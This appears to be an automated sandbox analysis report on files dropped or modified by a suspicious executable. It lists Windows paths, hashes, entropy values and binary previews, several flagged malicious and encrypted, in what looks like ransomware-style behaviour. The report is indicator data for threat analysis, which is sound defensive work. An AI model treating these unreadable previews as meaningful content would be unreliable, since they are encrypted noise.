Preview:	SQLitP.........U.......ic..~...f..U..2g....\(...........O0...]...T...5}.k..\|U...g3....9H...\...b#..%`.....\.rW{.\0....... ..UJ.S.z}GA.7.....A.:..:..0)...n.....hpV.....S.iM2`c.y..r...2.q......(..kR..Ov$..LFU.[.Kv0>a..H.\...(j...j:5..K2....}R...{.G...... .<....@..R,(.,M.72.[.......z......B-@.'.X5.$$j(P...........w..+.K..2~N!..NN95..Mp...=.....2..X.o.]n.....Z...L..k....w\|...'.qw^.?]Z..g...%..{@?.....9'.q....+.[2....d.jVT.Gz.....h.a.W(...Q...8.N.j.j.iR....s.."..!.@...G..9.p.OE...^.Qi..S!y.<....F...@..m`.$.f..te.d......&.E.h,............D......a...p..zy..w......)...Y`.>.D:vC..).._.j...z...Zt...f..06..Gs...,~.u....g..9.t.[.#P. #[.qgt..7.0.^.g.I..w...b......`..y.'....7o...G3...&>.r..n.u...]..eZ..-.+:....u.....J....`...j...u?B.......Z...Ndv...H..4...^.....k4}........'srRcD..y.......3.N..../.J..@Y.k.....J....K..Q..C..O~...c...[I..(..+..~.S._vV..S0.+.....>....K.. ....N......[.Q.^. us.....V.I....f1'[..aq...Y%...~$..U#.iZ..OLL.DZA.$.f+.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3211264
Entropy (8bit):	0.663409585956685
Encrypted:	false
SSDEEP:	3072:+/c5OwmRuy7sfcMCGbifUDsFohhe4GumStobZXhYvT9Hk1cAtkkhiokf:z5OTR3fUmoLe4GRSixegDhTW
MD5:	1B76BBF08CDC4D5494C33EBD4AC98CB9
SHA1:	6ABD6CDFBEEC57842304CE4CDA04CABE0807B2C7
SHA-256:	C1EA93F50C445A632DB3A070921D7A1EDD97E0F5AF2906AFF7DDBB6032D88CB0
SHA-512:	D15A4DC43C6D19C2B64DF3A51CF6E450677117D29072355C6EA03733EC91284387ED12F38CB584FC31CAE454C7087C4C8236E316711BE211A30B198338C94491
Malicious:	false
Preview:	1G.f...6U..g......8?.'....st...A.A(...#.\......5.h.....(j.~.l.......d..c.R..Ai...7P.\|M..$?E'^;~....../V...\|r..0..(.-G^..C.....N".+.r.+..j.;..h..2..N...O.......g7F.vi...pqe...%..w....X....L..5...Y9..x#............[".2...Mq.f ...lV..HD...y.:..=............s..\....2..C7%X....j.s....Z.;_....F....n...Q.q..(R.d.Kz....m.%......h.Vy..e.I.B>.t9..&...b.I....Ac..6EG.y?.zYq..!...fn...=\|>!q(.YoG..U}.......k...h..Lmw...Qk,...#5..nD.c...Y,g.vt.C.. vG..d...,s.......74.w........vc!.7%....1J..({..s...=.d..\|...DH.Ic<<..c....W.....i.W....H:X...sGV.O@q....\...YR9.i7.MI...)rt_..s......p...6.......:G.\|..].#`.Yyj.!.EG5..9.W..u..1w..O ...Y..6.$..x..Y.^.....f.....e..7....5y..O.l.),.w.Fo@.(.=9...E..].B....6..t?u....F.tS.$V.....6..\|.&....\ ..$.......N....#..........q.S..V......._.........=.<.7.....qS.aY...A.....K/.Ulz...w.......N..(.+.,{.lk.7$..(;..0.a.Ncx...?b.{....:.SL2F3...R..nN.'.......h....I...t.!..(.I.(#.YA...?..J._C..N!...3@k.S<.:~E...{..O..!..>

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.426932898325171
Encrypted:	false
SSDEEP:	384:nXP5Tmn5+jYc+3u5+9cQPdPEyGrwABSDxLOltEbE2omKiVW3hM4Gb53RHd0wtj:f5M5AyD+gdcjrVBSNEybpVWMl
MD5:	1BAA870E02DBBE0973CAE24C81ACF029
SHA1:	18B5272A9AF75C819EDA6923306A4DB3DC678E58
SHA-256:	A46D65B88049B6652237C930FC85C75D3D065E77942ACCD7FC2799442E67DE1D
SHA-512:	D870FBA04954AD08BC437C7D9F0FB484686D3C4CD2AF5B1EFABF5E64BA58F589D1777183AE7BFDA67161A31CB98E97A0E243441C71543DC60A37878ABA35E20C
Malicious:	false
Preview:	SQLit..ns.T.<.:.(.....y;$=Iq .r...-.K..6...c....EXZ.7_{.C....Jj ..N&....<9.........1..H_?NG...(....o&jn..W..K..M..T...Z.c.,to1.wx.D,.}[....M/...Y..L.f:..EWR[.n.P....l.:..M..w.....5..m.b)o..k[.d.4.v."P[V...kA..p".....zf..I]C\|'."!.^v]l...Cr..+tE.U.6.1.x..`.GVH..!..C...c.2..+..S... ....... -.RnI....]..a.V.....:...MD8+bp...$......'A..?......?...0e..p28v..)..3...S7.......Q.......ZH@.a.Y..<B....P..1.l.Z.0..%..J0u{mt..ab.....Wvv.........F-......_1.y..kEy.j~H...J...s*rn.'..e..78 ......F...u..N.....O{..I...V)...{T./y$.Oo....:..O.v/i!..%.i..u ...u..`../P!M...0C.E.6.J.I...A...k.....dh\...@.J-E=.q..%.G...1H6.1...jw;M.WK....Y.JMu.PU!~.u..l-.[..Z..\|...(.. <...y.}.........q.\.....s......M.....^P6..oy.e.;~..".-.4.a.P..C.....j.B.H....M..vw.(..a...fm.....t.!7.,8.1_N.....m.n'...&..i{q0.qm..<..a.g....\..$.$..?......js>.u.Y..a .?C#{R,&.sG...7..V...@.r..#r{...1...O8....5.-5.m..%s.=Z.si..=.6........ S.ky.E..%....;.....~?+..o.....Z.Y..l9..X....J..q.14h...]c.

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.858597287910528
Encrypted:	false
SSDEEP:	24:YxFFzn/Gt6q/Ozuvj4uw/VORWgz4oNG4BfrKTWRu2GXvzeLwdUbD:YxTzn/Lq2u4z9ORWE4oI4hrKyRu2gCLd
MD5:	75E705D08E008AF9DDD803B207A9C653
SHA1:	1CFB09AFEF8FD6E934D8EE6B23C563E93355B4AF
SHA-256:	DB4DCDF2048AFB58E49985EE494CDBD35084EF190B433BCE052D4B7EDCD3D20D
SHA-512:	E65A999743D98F4692D0EB688E8DC84DD0793BF0420EA47232879215B6D587F9BA64E756C314206F5F0CDF0F3B609517E78A60475976F0F29E4A79460D1B2003
Malicious:	false
Preview:	{"Rec..p.@..../{..^.....L\|...P>i!3OD<x../.].s..)V..... ..m{o1.m..`P..K..5<oT.K......j...E..X...pq&:.8.j..R..<..".}jn.{....F.XCa.). ..T.0.......&n.......g.c:....f.+Q..B)..tk`w0.^....ONl.....e.9gg...S.y.J.B/.5<w..A6b..........?...ub6Tn.?...ccTv/.$K...k#......[J5..RF..H.)....>...l..G..2.c,...qu...'@.6^.w...dCh..G...\.$.}M}.Y6._2..j..x%.K..{.8J.?.j../.X..+./..;.C...R]H.QkIA....;}=%0kc...n....W.\!...n...8...7e.>1..;.<...}...j..#mq...)R.s(FO.[...../.9..h.6..P.M......O.I....!.+..d,...~.r....A.....R_....G...3.g....cM........6j.h.aJ+...".JD/`U..+J..x.aT..._'{.."....[.%.......G#..f...=R..p.}.B...<......g.z......h...pt....z..F...Q......./.....j~~q...n...gL.hq>S..ry.~..u....f$...&.&.JTy0 .R.}b.#........op........H]N..B..ZP?%_....._Y...\|.yTrZ!..n...kE{Y..R..Hi..@...6...`&.........@#[@..+c..=.]dI&.(,7..q.b.3.JF....A.....t.#.u."..\...V.y.U.!...d.41<o..%...KS"a.l]..<V.....0....o.G..~E...7U.d.8d.DC^..?a'P5../.S.....IY.0...9b....k..C.s.[o.9..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9280862984313245
Encrypted:	false
SSDEEP:	48:dldU+3eieXrLzUeshLA9a02julfQKufTa3qlfZVr1MlcBRqi/RSQzYFCtD:TdpOieXrLz7aLAQhjmoKSmaZV1ycBIi1
MD5:	21265EF698C8481EC29A75C889F7E536
SHA1:	46CE07297036E8AB342C5C55454A24151B1BF627
SHA-256:	2D5B139A3C17CADE679E62C777FB92FABD057DBBB5E033BFA85F0D29C1A62CA3
SHA-512:	47A36E463E7B8894AF9AFAD15A0D4C1CF528E3275F94005D5BD86C49A8EDE86CA2C6B6BA7C1126414118CB10255479B129BF9352E3B2187D256D9F33CF7C54AB
Malicious:	false
Preview:	{.".T..G#.o.<p....i.Li.Urp...g".1.1.^...)s..j.E.F.AXR../.,.9...z......}PAZd....D......>dp.J.f.Y.83...-Q._....PoT......#.o.....zp....F-Q...i...Z.<.g.v...X.J.<.#n[..1......J..v.#.....Bk.......z~..Q.A~.\..)WR.:...-}..Y..^)..D.&..?...J..>.,z..7U#.........u.p .Y..'E9...5.n.%.(..3?......BM.}g3.]mM.2. ^8-..Q.Gs.".N...s3bW.>...ad...3.'l..........uv.kE.9@..wer.tIu..=...w....&....J..:yz%0.....Mw..o..!:...)..G...:..i.:.4..(.....S....@..&.'.^........7.5b30.......}..3d.....h...m..Bc..i....(.&...i....SU.@...r..S...%.9.DTSQ.p..rN...4.s..o..;I.>_....=2...R..h.>.V.......iTl.b-b......}T.... sW..T...tC.E....LF..c...AA...E.L.0..+e...........Pb.0K9)e.2...d^.?J.....x.i..G.3... ..\|...{..V..r2.......-..Y.b.Lz].....e.\....,..p..........t=NLd........r..m.{....d.J5%.2..uE...& .$w%.N..Fx.o....e+.'....,.s......@.I.v....D3..y.....C...L%..]>.'=..IKK.66. ...,..$.`.E...CO.y.....J....`45fP..$V....:.O..Mwd...D....7B`.%.ZYJu...+."..i....Bh#...S&Y1.'...x..\.....Q.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\geo[1].json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	367
Entropy (8bit):	4.683312887256637
Encrypted:	false
SSDEEP:	6:YMpPqajpHEx6uQ02kFhT2JnIi92JnGQ4apzx6KR0A50KnKMmRHc2JcTLG:YlwpHEx6up12xT2xGQ4gxT0A50yXmpcE
MD5:	5C8ADC63FC78B4C23DE973EAE642FAD6
SHA1:	6D70B066DDF07656CA29356A0AAAEC82BC9578BE
SHA-256:	A65B04831A71FA104360A2D217E10500DDD85E7C05023A075832A12EA92BF1D5
SHA-512:	8F057F71C9C4F9B92A0F3139C9317CD29C1A34EE4AEF99C8FF2A97331A92AFAD5C7EEDA6BB1941F5171069DD4EA69200B080F2249F302A02A40BE6C82FED6AA6
Malicious:	false
Preview:	{"ip":"173.254.250.90","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Texas","region_rus":"\u0422\u0435\u0445\u0430\u0441","region_ua":"\u0422\u0435\u0445\u0430\u0441","city":"Dallas","city_rus":"\u0414\u0430\u043b\u043b\u0430\u0441","latitude":"32.8149","longitude":"-96.8792"}

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	83120
Entropy (8bit):	7.997719082267306
Encrypted:	true
SSDEEP:	1536:pywfc1vBbGZojdxkN9ztNl4qVb+T3+r2uhEhCSEEj/CQGG97FigH5Wy6C4:Yw01Jdxkzt74qcT3+rNicShGQGG2M/j4
MD5:	E4D8AD03AB1F91517F626B75F4C94148
SHA1:	EE7C9DB381518BBC94600C882C663BE3D9C423BC
SHA-256:	DA94B7F956CAC2C9D23BBEE9BBC0F3537D30F2264BE6FFCA30F1515853FE9024
SHA-512:	0B18E639587005472DD38CB54B50B6A956C12733C4E72FFFFDB21BA951569A96B215BBFDE6AC083EE3F74C00FE1AF63DE516BE3EEF092F37B340C217474E447C
Malicious:	true
Preview:	'use +..].H.VX...}...qE.FK.aj....`x.+ES....G.\|G3..u.=.>L....m...74@..............H...W<.n......h.W.d...]...W(..N0....=.Y.f.MQV.S...U.]...(.j...P.o...M.%.=..UB....{..q5.._..K...........IZ..-.~.5x4<.....E..&H.{.M.......... ..f.......;..y^..+.qu&.T....'9(.........{....g..Q.....<.V..E.^........".;I..v.iz...@].A.{......IE...QyhP%5Ma.7.........r.h.._Mw@. ..v.Y@....]'.T^^..'DO.}....z...P.JX.-...cam...=....k..u.f.&...2......}...>.v.Jk3.........^.{K;.EJ..1.9..s]+.....Zl..O....)#.h.$b..au...........s........)...R.....E..^//...;..v>......u.efRHy.^.1..../e0...(.....Y..8k...,'..OK.f.t..j..T.{...9...k...6......7.>#.{..I.3J.....FOn?.h/.Dm}...'.`..i...k........{.....p%.ZCqL.....L.......s..:p2...m..r..}.....d..m3.xL.r..9...T..F.0VJ...e....rb.......~....J.0s.......%d.....y.D..j..rP..1.K.....)..!..7...}p_v.\| .).{i..cW.b.ff..i.lm.n.W.5.U.v%.4..?.>D.%.J^...^q..SGCS......Z......3k@Kd8.._...h.=...]...<...-..K.N..._..U/P.c$.%...boNU*W..'K.}.r..m.~#..

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	31496
Entropy (8bit):	7.995192702017259
Encrypted:	true
SSDEEP:	768:w1c81PqPaclUKm1jcAOTFX7PWMkPdYrrIPRvb4YWV:Wz1PqPgKm1jcNX7PWMkur0PRvNq
MD5:	56785B69773E27626838A2FFB5EF402A
SHA1:	13D45B56C738E90E3EF95AF8CBE878642391CFD1
SHA-256:	C97CBF257AEFFB9706094C059EDE4D9D9F442FA617C911DA39259FE59753672C
SHA-512:	C648BF6D318DD997B963E31F30125F4764EE0FDA976A8406D719983A244BF6E2716F379DBD5B1E8BDCFF8B3CF6750918186C35835DCFD2743AE27A17A091038C
Malicious:	true
Preview:	'use .d..L...Bz....50s<$.P.......%x...2.;..:..[Es.....A$..d.l..#..I.....a.z.......@.F.}.8.U....%..K.KqmJp'jQYN...=o<+..g..9..M.40...?jU"3...De~3r..J.:9.yS.z/.M:Y.K...,.y..pu.......(p....U3b..A.<.g]G...99..q.>.RX.`R9.<...q....z...'<..D.... ..[.8..}.....y.e.2....V.h....s..p.5f3.._.}V'..b\|.'P..D.0.5tV[.....g<...A.d....C'.K.Mj4Q.c...P./..7\|Y<>......zp..xk.....W\...[..e...Om....737...%H..`.e..B.`.g.#w..........L.z.{(.5.J....!.q.,}.b....R.S..=.w.....\r...-.>...>&+..n..7.m..Z...)..E../.=..-sh!(.m.......1RQ.M..hfO5V.tQo...\....Y....2.P.!b.\| .../..<j..H_Bk.M..te.Dq..z..'.sQ.P<.8...K.....Icz...........;:.+.5\|P.....i.s........s.w,.k.Jv....F.).^.4-...&}....F.".)..Y......$.$g....P.+..6.u..'..L.[......o..u.gE....EAT.....rn8....W t.(M.^..g.......u2../e.Sa1..g8..$...-.m....\f.....\|..?6..Z....~m.6...&N..F.][q.u..2....A..[....\...Rt[...H.!.....{..{..$........r=f?..}.S.LxK.8.D/hTs-.3.e.1."{..#....Z.....1,.T....euX...:z...g~.Ab....$6.e...4F5...L5

C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.99201255963265
Encrypted:	true
SSDEEP:	384:LYFhhAcRgbnqFCN/FRrGw2TngyV6vuhVLjYFZcbESI2wQ59DT:Kbo9JA9IvuhVLsZOdb5JT
MD5:	A725EE5C538E98486EF762BEA4FD0F93
SHA1:	63330FE4EEA67F6ED64356E8339458BAEF69F8B9
SHA-256:	9FD952D2C67E6ECAFE8BA97E143E29F9A4B5CAA547B28E2F17DC20829838E0DD
SHA-512:	9E24A2FDC2E6BA6781DE837CC28343904DAF9B25553D4E03FBE1F62C1CBBC029F23D76C823D09A0D81F44A54D6ADC6A190303DCD5A4C7B3FC1F014B0B01F6DBA
Malicious:	true
Preview:	......S...@..4..tD.H.P.m.L..c..!QF.RPiy...Qd..I....c...:~%.$.MS1G....P/..Z...J$F._9=.7.X.".&..M..PWjVt...o.......$...3k.D!8.kf[......iK..n.9..F.;.Y.q.....e5v&.~6W..qV........v..X..q..f..^\.!.m.x..T...j...5.Q..1..t.,.qV..).....`#.....g..:/.L....^N.....O...........V\6..8.....o..[aj...,N..q.....\B..]l@p(.....6.as.J.. \|...&J..&....M......y.c.......H.1.rn..."y.P...tRi.]k...mSg&..#B.,..E.......c.0.JR..4....B0......D..^72..\...c.v}...h.n.E....(....W....s.#=`Y.\|.....7..N.....e.S..8$.al;..u.#.-..2...+,P...Mo...^....D.{..iB.....>.y...;.H.z;mi....H....&..Ki^...0:.F..c.o..r...~......D...Y.'...Lt.~.....q..}S@._4<.A.>..^...\q."j...-`F......}.3.m....f.:q.~.:..U.....E.F.b@y.Q$.U..!..\|.f{..is.,.;..[q.W...,...g.7.v...(L..#..h.V.x..@.jH.g.m.pmP.ad...7.O..5.b.A....];...2.7.s...i..]...&..oC..&.4..O.g.'.>x.$..K".6....Y..*yV.73.x.R...6...=..[...{F~..:.z...Q.. .xt...S.N.y....$N........r.bw..,W.h.......0...o9...\|.....]..k'..;.A..5Z7.......(....n...{.,.N.`v....Y..yN

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.873009793701654
Encrypted:	false
SSDEEP:	48:YIYNh1QWApr+Cn2ILxciVixEmj83JzIHNXMeD:HYxQtt+Cn2wSYcZ4xIxMm
MD5:	A594E65E820419338184A5B5F16F11C2
SHA1:	7FDDA7396A25C9AB06433CC83DA01A4963D96984
SHA-256:	BE8AAA55FFF795DCAC507A8EB1087E0C9CF0E0EB49A4694C57761AD791EDC04E
SHA-512:	08C968CF7647E5BC9391D74A3F9898DEEA4F92CB7DCD0ED4B6D14ED3397812875FD04AE653EE9DBD15E194A54A6A14FBCA54C8D1DD549931300EF0DBF2FF10A2
Malicious:	false
Preview:	{"spo>.:..-...Hl0].....Jt....X...&.....;.~xT0~t....L...0;...uDz5d...w..6.....1..(..J....._A..].?...EY...X.N8...t.viZ....q.]x....yq.L5...L?.o.k.7.Q..I......[...B.@hx.B&/LU...N.T`...m..lp.8.C.F.P.2.9..h...[...r..h...;<....H...-p.G}..D.O....!q.:.~e..p..'..~:.X..G!.t.=..I.......6_f&{o.r..o.....,>...Y.a....c...$..S..x..&k+]..`..7.GCJ.R.Y6o..D....E.....CYj.b(o.A.....4/j...m..,.$.Y.X8S..7.V.\|.6A.D..F.E. YC.....hP....=l....G>@..>:y..[.s..#..v.....)....).=\|...v....X{>S;.#..^..@.eG...sz.~...u.J.\|qv....e.sf.)....&Q.h'YA.U.SH..57[H5'..5t2..\|p.>.jerJ..&...1...9....>...2u.e.........1...g..S..yX.o..\&..n.j....T.]..e....'....R..9.J..z.}\|.+3T..z'0......WW...W.Dw5.....]...Z.5k..=.#.%'Z..li0$E..;..T..`z..'.e..<.....V.U..L.kO.k7p.............}S..d../..X+....j.l&y.e....;.L.e.X..&.\.s..y.....,.X.n}d...}OT.Q......{.C.B..4..P....>v672V@~.....Ljy.......9\|.V..;)..y..z...,.......U.\.D...K.3..+mL..Q...q._SS...w#.....M${.e.....Q?.S<....m[Iv..D.\|.k-.;....SDC3.3..n.WT

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	modified
Size (bytes):	7915
Entropy (8bit):	7.976135859877348
Encrypted:	false
SSDEEP:	192:oXStnMRYAIFDCfQmb3hiw5fj1e1BoGrem6AwZ5G:1tnMRtI+55f01BoGremQZ5G
MD5:	4142F6CE45CA78BDEBF6BB74D8F2264A
SHA1:	BE4714454665345D4F060E4A33685DE6D61C0978
SHA-256:	D6814E69F3AB83081AD2C03C857D2626B4BC02CAAB9AC6DD48BE76711CD00076
SHA-512:	8169CAC797664620B6B10B6D3E8A95F1DEC21ADE79F4A47821157BC0CE46A0D205F46AEEE1ED011692A048C3CD5D5439F0855FFC38039E33CCDE758968D78DED
Malicious:	false
Preview:	# Thi.....k.!.........A.1.e.}.LmvLj..P..L.#..8........u.Vr....2....u..!t....E....=)a.'../....I..c.........ps.^Qx.,....I.L8..IZB.=.bz.._..V......\......aA.X.s..0...`."~.t.5._%.C.k..<.=.S..<.+n. .h.......-6.8t....e..w..0..I.......s@..l...4...G/.B..M...gW...$....Gp,....$.".[.k%.U..L.......#.D.=..V.........r...4..J.f..(...y..........yU3..e..]1y.Y.....~.t......d.."...I...#.+.,q..6a.D.b...(...Jd.pc..B..O.g..?...OSq\|..p(.r..as.(.........x......x(..g..1..D+\|n.8..}=.}...%.....[.......t.(.>`];...D..Z.o.....n.W.....-....\|...J.......<./Z..l;.`p.e.lQ%q/Au.2rl.[...S..T'......[T...i.g.x..l.0j..=3..ON/C7LY..dq.kq&I..O....`..y.J.1.A.....9n)...]~..(.!q..>qW.2.....D.u.?bC.q..+.P .Gl.A..&...a..l.a.@...]...c..6..%.w..a%....x...uL....*&....4...K,-=..v..H..U^....t...\v.Yo.a.E..y$1%...).._s..C..}M...uz..%.t!.sI.\|bsg........^.of..R.....!....;4...n71ske..[$..r...8.....>..7D.4._..."....4.....#bQ...d.+......B.N`(......~..[(..&`.......rI..H.w.6..T...T.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-child-current.bin

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2046434
Entropy (8bit):	5.07625132241493
Encrypted:	false
SSDEEP:	12288:aqPOGEa5QkArjhC4xqcGG487l/bpO7oypPA1OEiCIuRhRuPoCnE2ZzNYLQhhWiqz:aqh5Q7icGGR7l/bqs6BjUNR+K
MD5:	B02BA25EEC0B9E472FBDD9956CD38520
SHA1:	5ABE2A560B01B09845B76E26E8AB26970B3718DF
SHA-256:	A962C4058AD42A3393C368D5833AA700C0B77BF403FE77D49ECA61A86D52494D
SHA-512:	617919BD57D7885CEC3B50D11AF9430CE476D8F62E0EF65F9F7C6329223E8A64803677C277D35B6250C90BAE90ADF3D0F4572999BA8835ECDD44B509128B888B
Malicious:	false
Preview:	mozXD.=].K.r.jOQ..>O.:sY(."._P..%T...,d.gZ...).F.......F.R...w& .W0..5...4.w>~2.E..6..%{.m[U.D\.=.j.?.ZT5C5.....k.......l}../1...cY....n...NW...mgB...y;9......=..5m..lX.....U...0k...}\|...M..O.....m..'K..\|->!6w.!.......A..R.T.o..n.UC.O.ux(.7.....7-#'...a.J;....O\|\...._..AGD...O.FZ5.%.J..M...b...p.........<..S$c._.E.U.4........m.zikb......Z.....Tr ..z...........E...5...wo:.....?{.......,.....!...n...`.s....^!....~..x..'I.......1.+.ok...U....+u.17.r..uG.4.....z.....?.t..:....d..\|w5.\.'.#....l.&..,...i.Ot..nN>.;f.... .....'..\KWr7.......8.c....0~B..h..Z.<d.a...f........=...2..!..H..eU.1...H.....4.qo.....b.?..T:...x.w.....du7{..9.H....L.S......t..0...)<..%...(.t....l.j.h....a..........Ag....e.I.w.lv.k...T....r.B......>....c../T...s..5.(.T.m:F.)J&\|.>....iV)..lc .\|.n..w..@.......:.q\|..Q...X[.8.B..H.3......Z~F./....k.1op../..Vs...=..0.rK...'<&=..+.Z...+..6....Z..J/.K....I.i..d.....8......S..8.S<......r.....k`E:._.f................Lb...U.....z...(.Rw

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-current.bin

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8387278
Entropy (8bit):	4.80280474561426
Encrypted:	false
SSDEEP:	49152:2hBLawTv3Dxd4C4sWDc+ikpXGGRAuAgdyR+FwDkly0CNG1Kl/S/qyal+6N7hS5BT:2jXv8EW5IdVgdy6gn/SSyal+rPT
MD5:	E2A80463370BF8D67C61CBFB68C3E58F
SHA1:	C2047D8D2A84851959B47B77DCF619F6456A283E
SHA-256:	804F2B25E6C4FF6B0E140CBD6798358A6F885E5CCF5FA663A3433EA8EEBC4BB7
SHA-512:	E9BBD70F05D9770539A21FFC266AACBA00F9BD3053756F6A6530D4888A0BF34382FF64F64AF98B5CE43B2889334CC2F5138C98D7EFF25F36E52A1BFD15C6E4C1
Malicious:	false
Preview:	mozXDS..>...-)&4.Wj:.].F./T.?....C.c..M.{..Tzjb;C.].].....L.[....Y.T;....Dw...DP~...8nj....H:.\2....hoS.A.....i".....O.z.S.\|#..D...$..wX..n.....8.....O.q1..#..C..$.]p..p..L.e..%..5...9..C..80.D....%..........Z.!C-qH..#J3...1.]..p......BA.SO...CsT..>K......k..._..na...g.eI.0.c...OJ....m..#...^e.7..I.....;A..P...}..gT#...C0.,.h...U=..2.0S......;>v..v.w.E.g..;>.[.biXI.2.=+.qH.zT9P..^7..W.:#0.s.3.....=._I.Fo......L.e..d....p.........F...;..2`.2.4...o..j.r[Q`8L.$.......2.2...e.....6.'z...,............q...X.r\.....I../......n..q,.m.\...@&.......}({H..L...n..M..d....['t..YJ......7F..!.......gTy...5.i..qM^.W9.N....T.gv.E.9/N....i........}/..#..Y?x.].f}.`...L9.7.....tD...AB...>..s......."~.'n....P7....r!c.g..M......hty.%....S....q....:.q.@l../..~\F.n^OQK..VWl..C.5i....9....Q.....3.O.G#.?....=...../.............. ..z.K...........C..{.m......4#P..T..\|.......v.2tjU....7q....C.i.9.C....r.0.....]l..Lye.J?)c..2.%k.].......-....t.....~...N......w.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\startupCache.8.little

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2620287
Entropy (8bit):	6.998989346615373
Encrypted:	false
SSDEEP:	49152:su68QwoM99IrJxEhfSI9CyYlNjcHu/Ekg:suPQwJIYfS8qlJVg
MD5:	E32ACF50D546A8EC53C95D840F79A996
SHA1:	32C2E5AA515A69368FBD15C5ED7BE8B2067913E0
SHA-256:	CFB908C791C1A2B602E760136DCFE982437EB2AEFD0EA580873B20807DFA150A
SHA-512:	452011786085BCAD74129E8999EAE834CDAAF8E36DC36121E1FED000C5A5CD6A5A9F3545CB4E4A885290731E775A7BE2E832858023062DFFE3AF4B202244EA48
Malicious:	false
Preview:	start.H..E.C.hH..,......H..d...X...T.o.#...F....[..K...\V&l/C8...+.)....{.../.!....."...$.....T....\. ...H....Q}..ig.)Q.....7.<SH.-Z.-..=...e\!.........Ua4E..6..R]0P@4..{.D.dL.;.8V........}...d..Amm...)..U....~Ap....i..........a. ..}.^...<u.....<..k.UW..W...X...o.c....@.o......'B.........%....=...e Ws)...Hk.;.)....G.Mz.7V!.`B;...:.BoH.'.W.w.p....19...FJ.:...s3!...M.G..g}G>\|,.S.F=)$[RPc.`.uU@.......>._=.Xo.:t., ...I....r..Y...Gh.+.s...\|pD..E..63........%Vv.........8.V..d......-.y.'8..-i...j....p."..u..D..M..............Q.@..j.H.\.r2D..b...+B..o..{..M{....].x...G......V...I.DM.E.\|.69.l.0.1.t<J3[D...f:..T..=...&..W....E...ob....u....pB..q(....b65]...R............5...~...!.K..E.....4.n.v.....M>....."..<[.WF.=.........\|%.~....O.1...9-..b5..W'.'/1..<.......])..9......_..?.e.Va........Y.3..........o..x..)"...q#.n~Q.#.]k...n&..(.7.w".z....r..>.m8./m...U.(Q...[.A...E..o.....90P.;...0..Je...a.g.P.Z...0.c.@On.O..]..*Z.T.7v...N..v.....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache-current.bin

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.9384717618026555
Encrypted:	false
SSDEEP:	48:QI57mfy6gFu5jYTtz37eQBr5qJu4yEoACViqLe2bSkf1KJwN8YJWooWGFOaB+oD:QIpmffgYGt6S5q1odVigLS+0ONfAdOW
MD5:	F2ADD7FF44B8B5269872A2526973E86F
SHA1:	0A6289A9985DAB203A1CD47A343BDA1317784FA9
SHA-256:	7B5F90A813D62428B14373073110B2CD3B298A2A752AAFE94EFCCCD086170383
SHA-512:	EDF671123F2BF942B38728A62553F177184EC062F89F42419FD50A085D297938DD823744005E1BF3EA55283432EE0ADF2D79436D93EB7FBB90ECF13226946818
Malicious:	false
